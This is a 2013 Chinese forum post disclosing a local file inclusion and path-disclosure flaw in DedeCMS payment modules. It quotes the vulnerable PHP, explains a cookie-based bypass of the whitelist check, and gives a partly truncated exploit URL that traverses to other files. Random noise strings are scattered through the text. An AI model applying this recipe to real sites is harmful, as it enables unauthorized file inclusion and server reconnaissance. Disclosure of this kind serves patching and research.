找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2063|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
6 M5 v: r3 x9 G( W+ l+ [- @1 y7 F8 _1 J' g- M& ?
出现漏洞的两个文件为:  ^5 r$ l& k. v3 f9 U
Include/payment/alipay.php
% v& w  F$ U4 W5 s  q0 U! AInclude/payment/yeepay.php
; j) c, }* w$ D/ e0 s8 }8 n) g漏洞均出现在respond方法里,估计这两个文件是临时工写的。
8 T1 C7 W, s) {. Z1 F6 \+ N6 F* b' K9 j( A; C
Include/payment/alipay.php, t  N6 w4 A+ w% t% ~9 t
& v$ {- C+ D# J- T5 |4 B) x
......3 w; e, I* ]: Z/ N" G
   function respond()/ l  G# ?$ N2 f0 _
    {
. z  ?1 n5 J) j1 U* Z        if (!empty($_POST))3 s; p: D0 ]8 Z) F, e- v
        {
8 c/ `" U# T$ u4 [" n' J            foreach($_POST as $key => $data)
. ~1 n4 y8 n' s9 m            {
* R/ x6 o9 M$ n1 c3 H$ o5 b7 q: e                $_GET[$key] = $data;% v+ b! I2 ^' H! c8 J! F7 ~! G
            }
- {; `5 b2 w% p4 O        }4 H7 B5 s9 _" b. H  M" i7 `& f2 N6 ]
        /* 引入配置文件 */
9 ]2 L8 |( P( B  _  I6 K        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';. k0 T$ n/ Y! J+ i
...... ( o2 T$ ]0 u; ^0 [4 [3 X+ N' y

: z! s+ x; O7 z4 A
" Q/ q0 p2 T# z2 }5 }& W  j" Q大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
1 d: |0 I6 F' ?  w1 h! j. ^& Y' ]& Z6 y7 M4 t- S
Include/payment/yeepay.php
" X- c- `* \' ?6 d! i/ w/ h  W5 Y% P0 P& G4 [* F
# H3 ]2 _& x3 e; n

+ }3 S- w+ o) l# L6 J$ w......7 ^) [! M4 }1 R0 _/ H9 L
    function respond()
; |* ^1 E% c4 F5 ?9 K8 ]    {! |( n4 Q" v- m, y, Z
- I5 g& [& K1 A) J6 S5 [7 ]
        /* 引入配置文件 */: v. j' n* n2 B, n* g
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
& G) n: g. a. a7 I6 u3 }7 U4 M0 P/ y; B
0 _" \8 _4 D/ p        $p1_MerId = trim($payment['yp_account']);
4 n3 |  M; p2 t4 S( k  d% v        $merchantKey = trim($payment['yp_key']);0 r3 u( J9 {- X) g+ S
......
, B* }4 M& v6 a: C: B8 r
7 k' `2 Q7 M6 U8 _' O6 T; v$ Z& K/ \  P5 P. P5 e0 d

$ g+ g9 r; P1 ?1 P6 l) z3 H' U1 t7 y% `7 y5 m
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
. {: K  ^( R* y, L' l0 `5 X3 z
# i& J7 D/ w, _' j0 c0 Y这两个方法在plus/carbuyaction.php文件调用。
- x( b, {/ `: L' q8 `
. z: n0 r, P4 s2 o9 D/ Mplus/carbuyaction.php( d$ Y3 m. |! i% z* B% O2 X7 ]

+ t. P/ E( a1 `$ C# v......  c) f1 U0 L/ n" `: q( r' o0 z
} else if ($dopost == 'return') {, A5 |* K) O' H0 k5 X; S, ]4 [
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
8 s* |' r3 E2 |( d# y" \+ C8 _% s    if (in_array($code, $write_list))
" ^# [9 j1 B; i! _* P1 T    {5 O, a$ z) ^; N& A
        require_once DEDEINC.'/payment/'.$code.'.php';, w2 L4 A8 d" U! s4 ~- l' X; `( N
        $pay = new $code;5 X9 V2 o( q, e  ?
        $msg=$pay->respond();
* v4 I$ \$ Y2 h2 l        ShowMsg($msg, "javascript:;", 0, 3000);
+ @" z5 R: v( O3 J5 ~2 {        exit();  + ^! e! C* ~9 |1 i3 O' N
    } else {
6 t" A% O/ ^& O3 ^; U% t$ G- H        exit('Error:File Type Can\'t Recognized!');. r8 K, {: M7 Y5 b- S1 A+ d
    }3 k2 P) [& z% ]) c4 h
}
3 T/ U2 R: U  s5 t. |......
3 I2 k! U) `1 u5 C
6 p  x" x' u0 ~
9 k; \/ d  v" }$ A. a 9 B8 T4 K5 q, C9 t6 R+ Y2 B
- a, p( W- P! W4 b

# \& f" M1 }, V; Y+ k  h# v* |& W/ [* b. [' p7 L
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
  ]* Z6 @/ P/ ~3 V所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。, y" h0 \5 E( n5 E. O  F$ ~! e, X7 |) C
1 s3 o5 b% }2 g6 P
回到include/common.inc.php来看看他的机制。7 ^, F5 H1 n& V' V/ W7 D4 C

! a8 _6 j/ j1 Q ; D5 H" D4 m$ E8 c9 ?" w7 j

+ r+ _/ P6 q; R; A, F9 Y, J/ t: j......2 ~# |: w/ u2 U) C+ v. r$ l! h
foreach(Array('_GET','_POST','_COOKIE') as $_request)
- ]. A3 n# u  l{
+ Z1 [. E4 B; I2 W% W- p        foreach($$_request as $_k => $_v) & Q/ k( N- I: H
        {9 y3 H' d2 _& j* @* ~1 V
                if($_k == 'nvarname') ${$_k} = $_v;
4 `, n7 p/ d* k( _9 Y6 A  v                else ${$_k} = _RunMagicQuotes($_v);
8 ^' Q; R+ |; Y7 e0 f0 J1 F0 k: h4 T( ~        }
  ]! F8 g: F, d}0 p! U. x! u& _( A8 M
......
) ?6 K, _( ^  n8 z) C大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:% B9 O4 |. _3 p+ V) ~: s
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表